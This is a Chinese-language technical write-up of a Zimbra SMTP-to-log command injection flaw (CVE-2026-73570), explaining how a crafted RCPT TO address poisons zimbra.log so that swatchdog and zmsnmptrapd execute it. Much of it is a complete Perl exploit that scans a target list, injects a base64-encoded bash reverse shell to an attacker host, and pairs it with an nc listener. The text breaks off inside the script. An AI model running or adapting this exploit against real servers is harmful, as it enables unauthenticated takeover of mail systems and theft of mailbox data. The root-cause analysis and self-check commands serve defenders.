**第一步：SMTP 会话内容被原样写入日志**
|
||||
|
||||
Zimbra 会将 SMTP 会话过程中的关键命令（EHLO、MAIL FROM、RCPT TO 等）记录到 /var/log/zimbra.log
|
||||
。关键在于：**即使收件人地址最终被拒绝，该行内容依然会被完整记录**
|
||||
。而按照 RFC 5321，收件人地址允许使用"带引号的本地部分"（quoted local-part），引号内几乎可以包含任意可打印字符——包括冒号、空格、美元符号、反引号。
|
||||
|
||||
**第二步：swatchdog 模式匹配并捕获**
|
||||
|
||||
zimbra-snmp 包附带的 swatchdog 配置会监视日志中形如下式的"服务状态变更"行：
|
||||
```
|
||||
Service status change: <NAME> changed from (stopped|running) to (running|stopped)
|
||||
```
|
||||
|
||||
swatchdog 从匹配行中捕获 <NAME>
|
||||
字段。在正常业务中，这里应该是一个服务名（如 mailbox
|
||||
、mta
|
||||
）；但日志行本身可以被攻击者投毒，<NAME>
|
||||
可以是任何字符串——包括 shell 元字符。
|
||||
|
||||
**第三步：未净化传递 + 反引号执行**
|
||||
|
||||
swatchdog 将捕获的 <NAME>
|
||||
字段**未经任何净化**
|
||||
直接传递给 SNMP 通知处理程序。zmsnmptrapd 在处理时使用 Perl 反引号操作符（或等效的 shell 调用方式）将内容拼接进命令执行。至此，攻击者投毒进日志的命令替换语法（$(...)
|
||||
或 `...`
|
||||
）被 shell 求值，以 **zimbra OS 用户**
|
||||
身份执行。
|
||||
|
||||
用一张图概括三条崩塌的安全假设：
|
||||
```
|
||||
安全假设 实际情况─────────────────────────────────────────────────────────────────"日志内容是系统自身的可信输出" → SMTP 会话中攻击者可控的地址也原样入日志"匹配到的 <NAME> 一定是服务名" → 可以是含 shell 元字符的任意字符串"下游组件拿到的是纯数据" → swatchdog 直接传参，zmsnmptrapd 反引号执行─────────────────────────────────────────────────────────────────
|
||||
```
|
||||
### 2.3 受影响配置：为什么攻击复杂度是"高"（AC:H）
|
||||
|
||||
CVSS 向量中的 AC:H
|
||||
（Attack Complexity: High）值得注意。**并非所有 Zimbra 实例都可被利用**
|
||||
，攻击路径要求以下条件同时成立：
|
||||
```
|
||||
ZCS < 10.1.20 │ ├── ① zimbra-snmp 包已安装 │ ├── ② SNMP 通知已启用（zimbraSnmpNotifyTrap 配置） │ └── ③ swatchdog 服务运行中（日志监控生效，默认启用）
|
||||
```
|
||||
|
||||
三个条件缺一不可：没有 zimbra-snmp 就没有 swatchdog 的恶意配置规则；通知未启用则链路断裂；swatchdog 不运行则无人"接力"执行。这也是官方将攻击复杂度评为"高"的原因。
|
||||
|
||||
**但请注意**
|
||||
：swatchdog 默认启用，且不少运维会顺手装上 snmp 组件用于监控对接——"高复杂度"绝不等于"安全"，真实环境中满足三条件的部署并不少见，CERT Polska 确认的在野利用就是明证。
|
||||
### 2.4 攻击链全景图
|
||||
```
|
||||
┌────────────────────────────────────────────────────────────────────┐│ CVE-2026-73570 攻击链 │├────────────────────────────────────────────────────────────────────┤│ ││ ① 未认证攻击者连接目标 SMTP 端口（25 / 465 / 587） ││ ↓ ││ ② 发送含命令替换载荷的 SMTP 命令 ││ （EHLO / MAIL FROM / RCPT TO 均可作为载体） ││ ↓ ││ ③ Zimbra 将 SMTP 会话内容写入 /var/log/zimbra.log ││ （即使收件人被拒绝，日志照记不误） ││ ↓ ││ ④ swatchdog 监控日志，匹配到 ││ "Service status change: X changed from ..." 模式 ││ ↓ ││ ⑤ 捕获的 <NAME> 字段未经净化，传递给 zmsnmptrapd ││ ↓ ││ ⑥ zmsnmptrapd 使用 Perl 反引号拼接执行 ││ ↓ ││ ⑦ 以 zimbra OS 用户权限执行任意命令 → RCE ││ （落地 webshell / 窃取邮箱凭据 / 横向移动） ││ │└────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
## 三、攻击流程详解
|
||||
### 3.1 关键前置知识：RFC 5321 的"带引号本地部分"
|
||||
|
||||
SMTP 协议（RFC 5321）允许如下合法的收件人地址：
|
||||
```
|
||||
RCPT TO:<"这里面: 几乎可以放! 任意 $(`字符`)"@example.com>
|
||||
```
|
||||
|
||||
引号内的本地部分可以包含冒号、空格、命令替换语法等特殊字符。Zimbra 在记录这条命令时，无论是接受还是拒绝该收件人，都会把地址内容写入 zimbra.log
|
||||
——**这就给了攻击者向日志"精确制导"写入任意文本行的能力**
|
||||
。
|
||||
### 3.2 构造伪造的"服务状态变更"日志
|
||||
|
||||
回顾 swatchdog 监控的模式：
|
||||
```
|
||||
Service status change: <NAME> changed from (stopped|running) to (running|stopped)
|
||||
```
|
||||
|
||||
攻击者要做的，就是把一条匹配该模式的完整文本，通过 RCPT TO 地址的带引号本地部分送进日志。公开 PoC 中的构造如下：
|
||||
```
|
||||
RCPT TO:<"x: Service status change: localhost $(CMD) changed from stopped to running"@cve.invalid>
|
||||
```
|
||||
|
||||
拆解这条地址：
|
||||
|
||||
<table><thead><tr style="border-top: none;background-color: #FFFFFF;"><th style="background: rgb(10, 10, 10);color: rgb(255, 255, 255);font-weight: 700;font-size: 13px;padding: 6px 8px;text-align: center;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(51, 51, 51);border-image: none;line-height: 18.2px;white-space: nowrap;"><section><span leaf="">片段</span></section></th><th style="background: rgb(10, 10, 10);color: rgb(255, 255, 255);font-weight: 700;font-size: 13px;padding: 6px 8px;text-align: center;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(51, 51, 51);border-image: none;line-height: 18.2px;white-space: nowrap;"><section><span leaf="">作用</span></section></th></tr></thead><tbody><tr style="border-top: none;background-color: #FFFFFF;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><code style="color: rgba(0, 0, 0, 0.88);"><span leaf="">"..."</span></code></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">RFC 5321 合法的带引号本地部分，承载全部载荷</span></section></td></tr><tr style="border-top: none;background-color: #FAFAFA;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><code style="color: rgba(0, 0, 0, 0.88);"><span leaf="">x: Service status change: localhost </span></code></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">前缀填充，使日志行匹配 swatchdog 的模式</span></section></td></tr><tr style="border-top: none;background-color: #FFFFFF;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><code style="color: rgba(0, 0, 0, 0.88);"><span leaf="">$(CMD)</span></code></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><strong style="color: #0A0A0A;font-weight: 700;"><span leaf="">命令替换语法</span></strong><section><span leaf="">，实际载荷所在</span></section></td></tr><tr style="border-top: none;background-color: #FAFAFA;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><code style="color: rgba(0, 0, 0, 0.88);"><span leaf=""> changed from stopped to running</span></code></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">后缀填充，补全模式</span></section></td></tr><tr style="border-top: none;background-color: #FFFFFF;"><td style="padding: 6px 8px;border: medium;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><code style="color: rgba(0, 0, 0, 0.88);"><span leaf="">@cve.invalid</span></code></td><td style="padding: 6px 8px;border: medium;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">无效域名不影响——地址会被拒绝，但日志已经写入</span></section></td></tr></tbody></table>
|
||||
|
||||
|
||||
**注入语法的两种姿势**
|
||||
（均利用 shell 元字符）：
|
||||
- ▸
|
||||
$(...)
|
||||
命令替换：公开 Perl PoC 采用，注入在 RCPT TO 中
|
||||
|
||||
- ▸
|
||||
反引号 `cmd`
|
||||
：nuclei 官方模板采用，注入在 EHLO / MAIL FROM 字段中
|
||||
|
||||
两个事实值得注意：其一，EHLO
|
||||
、MAIL FROM
|
||||
、RCPT TO
|
||||
的内容都会进入日志，**注入点不唯一**
|
||||
；其二，PoC 将反弹 shell 命令做了一层 base64 编码再执行，避免特殊字符破坏地址语法：
|
||||
```
|
||||
my $shell_cmd = "bash -c 'bash -i >&/dev/tcp/<rhost>/<rport> 0>&1'"; # 反弹 shellmy $b64 = encode_base64($shell_cmd, ''); # base64 规避特殊字符my $cmd = "echo ${b64}|base64 -d|bash"; # 解码并执行my $inject = "\$(${cmd})"; # 包装为命令替换my $rcpt = qq{"x: Service status change: localhost ${inject} changed from stopped to running"\@cve.invalid};
|
||||
```
|
||||
### 3.3 完整 SMTP 会话
|
||||
|
||||
攻击者与目标 25 端口的一次完整交互（以手工会话示意）：
|
||||
```
|
||||
S: 220 mail.target.com ESMTP readyC: EHLO mx-test.invalidS: 250-mail.target.com 250-STARTTLS 250 SIZE 20480000C: MAIL FROM:<[email protected]>S: 250 OKC: RCPT TO:<"x: Service status change: localhost $(echo BASE64PAYLOAD|base64 -d|bash) changed from stopped to running"@cve.invalid>S: 550 5.1.1 recipient rejected ← 被拒绝没有关系，日志已经写入C: QUITS: 221 Bye
|
||||
```
|
||||
|
||||
此时 /var/log/zimbra.log
|
||||
中已经躺进了这样一行：
|
||||
```
|
||||
... REJECT ... RCPT TO:<"x: Service status change: localhost $(echo BASE64PAYLOAD|base64 -d|bash) changed from stopped to running"@cve.invalid>
|
||||
```
|
||||
### 3.4 swatchdog 逐级触发
|
||||
|
||||
接下来发生的事情完全在服务器内部，攻击者无需再发送任何数据：
|
||||
```
|
||||
攻击者 Zimbra SMTP /var/log/zimbra.log swatchdog zmsnmptrapd │ │ │ │ │ │─ SMTP 会话 ────────►│ 写入投毒日志行 │ │ │ │◄── 550 REJECT ──────│─────────────────────►│ │ │ │ │ │ 轮询匹配模式 │ │ │ │ │◄───────────────────│ │ │ │ │ 捕获 <NAME> 未净化 │ │ │ │ │───────────────────►│── 传递参数 ────►│ │ │ │ │ │ │ │ │ │ Perl 反引号执行 │ │ │ │ │ $(...) 以 zimbra│ │ │ │ │ 用户身份运行 │
|
||||
```
|
||||
### 3.5 与传统命令注入的对比
|
||||
|
||||
<table><thead><tr style="border-top: none;background-color: #FFFFFF;"><th style="background: rgb(10, 10, 10);color: rgb(255, 255, 255);font-weight: 700;font-size: 13px;padding: 6px 8px;text-align: center;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(51, 51, 51);border-image: none;line-height: 18.2px;white-space: nowrap;"><section><span leaf="">维度</span></section></th><th style="background: rgb(10, 10, 10);color: rgb(255, 255, 255);font-weight: 700;font-size: 13px;padding: 6px 8px;text-align: center;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(51, 51, 51);border-image: none;line-height: 18.2px;white-space: nowrap;"><section><span leaf="">传统命令注入</span></section></th><th style="background: rgb(10, 10, 10);color: rgb(255, 255, 255);font-weight: 700;font-size: 13px;padding: 6px 8px;text-align: center;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(51, 51, 51);border-image: none;line-height: 18.2px;white-space: nowrap;"><section><span leaf="">CVE-2026-73570</span></section></th></tr></thead><tbody><tr style="border-top: none;background-color: #FFFFFF;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">注入位置</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">Web 参数 / HTTP 头</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">SMTP 命令字段（经日志中转）</span></section></td></tr><tr style="border-top: none;background-color: #FAFAFA;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">触发时机</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">请求处理同步执行</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><strong style="color: #0A0A0A;font-weight: 700;"><span leaf="">异步</span></strong><section><span leaf="">：日志轮询匹配后执行</span></section></td></tr><tr style="border-top: none;background-color: #FFFFFF;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">执行者</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">Web 应用进程</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">日志监控链路（swatchdog → zmsnmptrapd）</span></section></td></tr><tr style="border-top: none;background-color: #FAFAFA;"><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none none solid;border-color: currentcolor currentcolor rgb(240, 240, 240);border-image: none;color: rgba(0, 0, 0, 0.88);font-size: 13px;line-height: 18.2px;white-space: nowrap;text-align: center;"><section><span leaf="">响应回显</span></section></td><td style="padding: 6px 8px;border-width: medium medium 1px;border-style: none nLine truncated
|
||||
|
||||
## 四、漏洞复现
|
||||
### 4.1 前提确认
|
||||
|
||||
对自有资产先做三项自查（以下命令在 Zimbra 服务器执行）：
|
||||
```
|
||||
# ① 确认 Zimbra 版本（< 10.1.20 且满足配置则受影响）su - zimbra -c "zmcontrol -v"# ② 确认 zimbra-snmp 包是否安装rpm -qa | grep zimbra-snmp # RHEL/CentOSdpkg -l | grep zimbra-snmp # Ubuntu/Debian# ③ 确认 SNMP 通知配置su - zimbra -c "zmprov gcf zimbraSnmpNotify"# ④ 确认 swatchdog 是否运行ps -ef | grep -i swatch
|
||||
```
|
||||
### 4.2 Perl 版 PoC（0xBlackash）
|
||||
|
||||
**下载地址**
|
||||
：https://github.com/0xBlackash/CVE-2026-73570
|
||||
```
|
||||
#!/usr/bin/perl
|
||||
##############################################################################
|
||||
# CVE-2026-73570 — Zimbra Collaboration Suite (ZCS)
|
||||
# SNMP Notification OS Command Injection — Unauthenticated RCE via SMTP
|
||||
# Github : https://github.com/0xBlackash/CVE-2026-73570
|
||||
# Author : Achraf Zaryouh ==> 0xBlackash
|
||||
#
|
||||
# Affected : ZCS < 10.1.20 (zimbra-snmp pkg installed + snmp_notify enabled)
|
||||
# CVSS 3.1 : 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
|
||||
# CWE : CWE-78 (Improper Neutralisation of OS Command Special Elements)
|
||||
# Fixed : Zimbra 10.1.20 (released July 2026)
|
||||
# CISA KEV : Added 2026-08-21 (remediation deadline 2026-08-24 for FCEB)
|
||||
#
|
||||
# Root Cause
|
||||
# ──────────
|
||||
# The optional zimbra-snmp package ships a swatchdog configuration that
|
||||
# watches /var/log/zimbra.log for log lines matching the pattern:
|
||||
#
|
||||
# Service status change: <NAME> changed from (stopped|running) to (running|stopped)
|
||||
#
|
||||
# When a matching line is seen, swatchdog passes the captured <NAME> field
|
||||
# directly to the SNMP notification shell script without sanitisation.
|
||||
# An unauthenticated attacker can inject a fake log line via a crafted
|
||||
# SMTP RCPT TO command using a quoted local-part (valid per RFC 5321),
|
||||
# embedding shell metacharacters — e.g. $(...) — inside <NAME>.
|
||||
#
|
||||
# Attack Flow
|
||||
# ───────────
|
||||
# 1. Attacker opens TCP to port 25 / 465 / 587 of the Zimbra server.
|
||||
# 2. Sends EHLO, MAIL FROM, then a specially crafted RCPT TO:
|
||||
# RCPT TO:<"x: Service status change: localhost $(CMD) changed from
|
||||
# stopped to running"@cve.invalid>
|
||||
# 3. Zimbra logs the (rejected or accepted) RCPT TO data.
|
||||
# 4. swatchdog matches the log line pattern.
|
||||
# 5. SNMP notification handler executes CMD as the 'zimbra' OS user.
|
||||
#
|
||||
# References
|
||||
# ──────────
|
||||
# https://nvd.nist.gov/vuln/detail/CVE-2026-73570
|
||||
# https://github.com/0xBlackash/CVE-2026-73570
|
||||
# https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
|
||||
# https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite
|
||||
# https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570
|
||||
#
|
||||
# Usage:
|
||||
# perl CVE-2026-73570.pl -H mail.target.com -r 10.10.10.1 -R 4444
|
||||
# perl CVE-2026-73570.pl -f targets.txt -r 10.10.10.1 -R 4444
|
||||
#
|
||||
# targets.txt format:
|
||||
# mail.example.com <- default port (--port)
|
||||
# mail.example.com:25 <- explicit port
|
||||
# 10.0.0.50:587
|
||||
#
|
||||
# Listener: nc -lvnp 4444
|
||||
#
|
||||
##############################################################################
|
||||
use strict;
|
||||
use warnings;
|
||||
use IO::Socket::INET;
|
||||
use IO::Socket::SSL qw(SSL_VERIFY_NONE);
|
||||
use MIME::Base64 qw(encode_base64 decode_base64);
|
||||
use Digest::HMAC_MD5 qw(hmac_md5_hex);
|
||||
use POSIX qw(strftime);
|
||||
use Fcntl qw(:flock);
|
||||
use Getopt::Long qw(:config no_ignore_case bundling);
|
||||
|
||||
our $VERSION = '1.0.0';
|
||||
|
||||
# ── ANSI colors (disabled when stdout is not a TTY) ──────────────────────────
|
||||
my %C;
|
||||
{
|
||||
my $tty = -t STDOUT;
|
||||
%C = (
|
||||
rst => $tty ? "\033[0m" : '',
|
||||
bold => $tty ? "\033[1m" : '',
|
||||
red => $tty ? "\033[91m" : '',
|
||||
grn => $tty ? "\033[92m" : '',
|
||||
ylw => $tty ? "\033[93m" : '',
|
||||
blu => $tty ? "\033[94m" : '',
|
||||
mag => $tty ? "\033[95m" : '',
|
||||
cyn => $tty ? "\033[96m" : '',
|
||||
wht => $tty ? "\033[37m" : '',
|
||||
);
|
||||
}
|
||||
|
||||
# ── globals ───────────────────────────────────────────────────────────────────
|
||||
my ($sock, $log_fh, $tls_active);
|
||||
|
||||
# ── options ───────────────────────────────────────────────────────────────────
|
||||
my %O = (
|
||||
host => '',
|
||||
port => 587,
|
||||
file => '',
|
||||
rhost => '',
|
||||
rport => 4444,
|
||||
timeout => 15,
|
||||
ssl => 0,
|
||||
verbose => 0,
|
||||
logfile => '',
|
||||
);
|
||||
|
||||
GetOptions(
|
||||
'host|H=s' => \$O{host},
|
||||
'port|p=i' => \$O{port},
|
||||
'file|f=s' => \$O{file},
|
||||
'rhost|r=s' => \$O{rhost},
|
||||
'rport|R=i' => \$O{rport},
|
||||
'timeout|t=i' => \$O{timeout},
|
||||
'ssl|S' => \$O{ssl},
|
||||
'verbose|v' => \$O{verbose},
|
||||
'logfile|L=s' => \$O{logfile},
|
||||
'help|h' => \&usage,
|
||||
) or usage();
|
||||
|
||||
usage() unless ($O{host} || $O{file}) && $O{rhost};
|
||||
|
||||
# ── build target list ─────────────────────────────────────────────────────────
|
||||
my @targets;
|
||||
|
||||
if ($O{host}) {
|
||||
push @targets, { host => $O{host}, port => $O{port} };
|
||||
}
|
||||
|
||||
if ($O{file}) {
|
||||
open(my $fh, '<', $O{file}) or die "[-] Cannot open '$O{file}': $!\n";
|
||||
while (my $line = <$fh>) {
|
||||
chomp $line;
|
||||
$line =~ s/^\s+|\s+$//g;
|
||||
next if $line eq '' || $line =~ /^#/;
|
||||
my ($h, $p) = split(/:/, $line, 2);
|
||||
$p = $O{port} unless defined $p && $p =~ /^\d+$/;
|
||||
push @targets, { host => $h, port => int($p) };
|
||||
}
|
||||
close $fh;
|
||||
die "[-] No valid targets in '$O{file}'\n" unless @targets;
|
||||
}
|
||||
|
||||
# ── payload (built once, reused for every target) ─────────────────────────────
|
||||
my $shell_cmd = "bash -c 'bash -i >&/dev/tcp/$O{rhost}/$O{rport} 0>&1'";
|
||||
my $b64 = encode_base64($shell_cmd, '');
|
||||
$b64 =~ s/\s+//g;
|
||||
my $cmd = "echo ${b64}|base64 -d|bash";
|
||||
my $inject = "\$(${cmd})";
|
||||
my $rcpt = qq{"x: Service status change: localhost ${inject} changed from stopped to running"\@cve.invalid};
|
||||
|
||||
# ── banner ────────────────────────────────────────────────────────────────────
|
||||
open_log() if $O{logfile};
|
||||
print_banner();
|
||||
say_info(sprintf "Targets : %d host(s)", scalar @targets);
|
||||
say_info("Shell : $O{rhost}:$O{rport}");
|
||||
say_info("Listener: nc -lvnp $O{rport}");
|
||||
print "\n";
|
||||
|
||||
# ── target loop ───────────────────────────────────────────────────────────────
|
||||
my ($ok, $fail) = (0, 0);
|
||||
|
||||
for my $i (0 .. $#targets) {
|
||||
my $t = $targets[$i];
|
||||
say_info("─" x 50);
|
||||
say_info(sprintf "[%d/%d] %s:%d", $i+1, scalar @targets, $t->{host}, $t->{port});
|
||||
|
||||
my $result = run_exploit($t->{host}, $t->{port});
|
||||
|
||||
if ($result eq 'ok') {
|
||||
say_ok("PAYLOAD SENT — waiting for shell on nc -lvnp $O{rport}");
|
||||
$ok++;
|
||||
} else {
|
||||
say_err("FAILED: $result");
|
||||
$fail++;
|
||||
}
|
||||
|
||||
sleep 1 unless $i == $#targets;
|
||||
}
|
||||
|
||||
# ── summary ───────────────────────────────────────────────────────────────────
|
||||
print "\n";
|
||||
say_info("═" x 50);
|
||||
say_info(sprintf "Summary: %d/%d hit %d failed", $ok, scalar @targets, $fail);
|
||||
say_info("═" x 50);
|
||||
|
||||
close_log() if $log_fh;
|
||||
exit 0;
|
||||
|
||||
# ═════════════════════════════════════════════════════════════════════════════
|
||||
# run_exploit — attempts the injection against a single target
|
||||
# ═════════════════════════════════════════════════════════════════════════════
|
||||
sub run_exploit {
|
||||
my ($host, $port) = @_;
|
||||
my $use_ssl = $O{ssl} || ($port == 465);
|
||||
|
||||
# ── connect ───────────────────────────────────────────────────────────────
|
||||
eval {
|
||||
if ($use_ssl) {
|
||||
$sock = IO::Socket::SSL->new(
|
||||
PeerHost => $host,
|
||||
PeerPort => $port,
|
||||
SSL_verify_mode => SSL_VERIFY_NONE,
|
||||
Timeout => $O{timeout},
|
||||
Proto => 'tcp',
|
||||
) or die "SSL: " . IO::Socket::SSL::errstr();
|
||||
$tls_active = 1;
|
||||
} else {
|
||||
$sock = IO::Socket::INET->new(
|
||||
PeerHost => $host,
|
||||
PeerPort => $port,
|
||||
Timeout => $O{timeout},
|
||||
Proto => 'tcp',
|
||||
) or die "TCP: $!";
|
||||
$tls_active = 0;
|
||||
}
|
||||
};
|
||||
if ($@) { (my $e = $@) =~ s/\s+$//; return $e }
|
||||
|
||||
$sock->autoflush(1);
|
||||
say_dbg("Connected");
|
||||
|
||||
# ── banner ────────────────────────────────────────────────────────────────
|
||||
my $banner = smtp_read_line();
|
||||
unless ($banner =~ /^220/) {
|
||||
close_sock();
|
||||
return "unexpected banner: $banner";
|
||||
}
|
||||
say_dbg("Banner: $banner");
|
||||
|
||||
# ── EHLO ─────────────────────────────────────────────────────────────────
|
||||
smtp_send("EHLO mx-test.invalid");
|
||||
my $ehlo = smtp_read_multi();
|
||||
unless ($ehlo =~ /^250/m) {
|
||||
close_sock();
|
||||
return "EHLO failed";
|
||||
}
|
||||
|
||||
# ── STARTTLS ─────────────────────────────────────────────────────────────
|
||||
if (!$tls_active && $ehlo =~ /STARTTLS/i) {
|
||||
smtp_send("STARTTLS");
|
||||
my $r = smtp_read_line();
|
||||
if ($r =~ /^220/) {
|
||||
IO::Socket::SSL->start_SSL($sock, SSL_verify_mode => SSL_VERIFY_NONE)
|
||||
or do { close_sock(); return "STARTTLS failed" };
|
||||
$tls_active = 1;
|
||||
say_dbg("STARTTLS negotiated");
|
||||
smtp_send("EHLO mx-test.invalid");
|
||||
smtp_read_multi();
|
||||
}
|
||||
}
|
||||
|
||||
# ── injection ─────────────────────────────────────────────────────────────
|
||||
smtp_send("MAIL FROM:<scanner\@mx-test.invalid>");
|
||||
my $r1 = smtp_read_line();
|
||||
say_dbg("MAIL FROM: $r1");
|
||||
unless ($r1 =~ /^250/) {
|
||||
smtp_send("QUIT"); smtp_read_line(); close_sock();
|
||||
return "MAIL FROM rejected: $r1";
|
||||
}
|
||||
|
||||
say_dbg("RCPT TO: <$rcpt>");
|
||||
smtp_send("RCPT TO:<$rcpt>");
|
||||
my $r2 = smtp_read_line();
|
||||
say_dbg("RCPT TO resp: $r2");
|
||||
|
||||
smtp_send("QUIT");
|
||||
smtp_read_line();
|
||||
close_sock();
|
||||
|
||||
return 'ok' if $r2 =~ /^[245]\d{2}/;
|
||||
return "no valid response: $r2";
|
||||
}
|
||||
|
||||
# ── SMTP layer ────────────────────────────────────────────────────────────────
|
||||
sub smtp_send {
|
||||
my ($line) = @_;
|
||||
say_dbg(">>> $line");
|
||||
log_write(">>> $line");
|
||||
print $sock "$line\r\n";
|
||||
}
|
||||
|
||||
sub smtp_read_line {
|
||||
my $line = '';
|
||||
eval {
|
||||
local $SIG{ALRM} = sub { die "timeout\n" };
|
||||
alarm($O{timeout});
|
||||
$line = <$sock> // '';
|
||||
alarm(0);
|
||||
};
|
||||
$line =~ s/[\r\n]+$//;
|
||||
say_dbg("<<< $line") if $line;
|
||||
log_write("<<< $line") if $line;
|
||||
return $line;
|
||||
}
|
||||
|
||||
sub smtp_read_multi {
|
||||
my $buf = '';
|
||||
eval {
|
||||
local $SIG{ALRM} = sub { die "timeout\n" };
|
||||
alarm($O{timeout});
|
||||
while (my $line = <$sock>) {
|
||||
$buf .= $line;
|
||||
last if $line =~ /^\d{3} /;
|
||||
}
|
||||
alarm(0);
|
||||
};
|
||||
$buf =~ s/[\r\n]+$//;
|
||||
return $buf;
|
||||
}
|
||||
|
||||
sub close_sock {
|
||||
return unless $sock;
|
||||
eval { $sock->close() };
|
||||
$sock = undef;
|
||||
$tls_active = 0;
|
||||
}
|
||||
|
||||
# ── output ────────────────────────────────────────────────────────────────────
|
||||
sub print_banner {
|
||||
my ($b, $n, $c, $g, $y) = @C{qw(bold rst cyn grn ylw)};
|
||||
print "${b}${c} ╔══════════════════════════════════════════════════════════╗${n}\n";
|
||||
print "${b}${c} ║ CVE-2026-73570 — Zimbra ZCS Unauthenticated RCE ║${n}\n";
|
||||
print "${b}${c} ║ SNMP Notification OS Command Injection — Reverse Shell ║${n}\n";
|
||||
print "${b}${c} ╠══════════════════════════════════════════════════════════╣${n}\n";
|
||||
print "${b}${c} ║ ${g}CVSS 3.1: 8.9 HIGH${c} ZCS < 10.1.20 ║${n}\n";
|
||||
print "${b}${c} ║ ${y}Authorized security testing use only${c} ║${n}\n";
|
||||
print "${b}${c} ╚══════════════════════════════════════════════════════════╝${n}\n\n";
|
||||
}
|
||||
|
||||
sub _ts { strftime("%H:%M:%S", localtime) }
|
||||
|
||||
sub say_ok { _say($C{bold}.$C{grn}."[+]".$C{rst}, @_) }
|
||||
sub say_info { _say($C{bold}.$C{blu}."[*]".$C{rst}, @_) }
|
||||
sub say_err { _say($C{bold}.$C{red}."[-]".$C{rst}, @_) }
|
||||
sub say_dbg { return unless $O{verbose}; _say($C{mag}."[~]".$C{rst}, @_) }
|
||||
|
||||
sub _say {
|
||||
my ($prefix, $msg) = @_;
|
||||
printf "%s[%s]%s %s %s\n", $C{wht}, _ts(), $C{rst}, $prefix, $msg;
|
||||
log_write($msg);
|
